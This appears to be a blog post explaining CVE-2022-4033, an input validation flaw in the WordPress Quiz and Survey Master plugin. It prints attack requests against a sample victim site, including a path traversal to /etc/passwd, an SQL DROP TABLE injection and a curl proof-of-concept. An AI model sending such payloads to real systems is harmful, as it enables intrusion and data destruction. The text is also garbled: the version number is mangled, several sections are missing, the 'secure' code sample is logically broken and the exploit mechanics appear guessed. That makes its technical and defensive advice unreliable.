CVE-2022-4033 - How Attackers Exploit Input Validation Bypass in WordPress Quiz and Survey Master Plugin (Up to v8..4)

WordPress powers millions of websites, so when a plugin has a security flaw, it can put many sites at risk. One such issue is CVE-2022-4033 – a vulnerability discovered in the popular Quiz and Survey Master plugin (QSM). If you’re using this plugin (up to version 8..4), read on: I’ll explain, in simple terms, how hackers can exploit this bug, showcase some sample code, and provide ways to protect your website.

1. What is CVE-2022-4033?

CVE-2022-4033 is an input validation vulnerability in the Quiz and Survey Master plugin for WordPress, up to and including version 8..4. Basically, the plugin does not properly validate user input received via the question[id] parameter when users answer quiz or survey questions.

Rather than restricting submissions to only numbers, file paths, or expected values (like a valid question ID), the plugin lets anyone submit any data. This lets hackers send malicious input, potentially causing the plugin or website to do things it shouldn’t.

Let’s break this down

- QSM expects question[id] in a form submission to be a number, representing the quiz or survey question being answered.
- Because the plugin doesn’t properly check what the submitted data is, you can submit anything instead of just a number.
- An attacker can inject code, file paths, or unexpected values, and trick the plugin (and maybe the site) into doing things it wasn't designed to do.

### Code Snippet (Simplified/Pseudocode)

Here’s what secure PHP code should look like

// Good: Only allow numbers
$id = intval($_POST['question']['id']);
if (!is_numeric($id)) {
  die("Invalid Question ID");
}

*But in vulnerable versions, the code is more like:*

// Bad: Takes whatever input is given
$id = $_POST['question']['id']; // No validation!

This means, if you submit something like evil_code or a path instead of a number, it gets processed.

The attacker goes to a quiz or survey form using QSM, like

https://victimsite.com/quiz-page

When you submit an answer, the plugin sends data like

POST /quiz-submit
Content-Type: application/x-www-form-urlencoded

question[id]=2&answer=My+Answer

3. Tamper with Data

Instead of a number, send something malicious with a tool like Burp Suite, curl, or browser dev tools:

POST /quiz-submit
Content-Type: application/x-www-form-urlencoded

question[id]=../../../../etc/passwd&answer=My+Answer

Or try to trick the logic

question[id]=10;DROP+TABLE+users;--&answer=My+Answer

Proof-of-Concept (PoC) Request (using curl):

curl -X POST https://victimsite.com/quiz-submit \
  -d "question[id]=../../../../etc/passwd&answer=Test"

Data Corruption: The plugin could save garbage data in the database.

- Logic Bypass: Attackers can answer quizzes or surveys with invalid IDs, breaking scoring or quiz tracking.
- Possible Exploits: When combined with other flaws, this could lead to user data leakage, code execution, or even total site compromise.

Locate *Quiz and Survey Master*; update to the latest version.

Or visit the official plugin page to download the current version.

6. References and Further Reading

- CVE Details for CVE-2022-4033
- Patchstack Advisory
- Official Plugin Page

Takeaway

CVE-2022-4033 serves as a reminder: never trust user input. If you use WordPress plugins, always keep them up to date. Simple bugs like input validation can open the door to much worse attacks.


If you found this helpful, make sure your site is secure — and let other WordPress users know about this issue! Stay safe online.

Timeline

Published on: 11/29/2022 21:15:00 UTC
Last modified on: 12/01/2022 22:12:00 UTC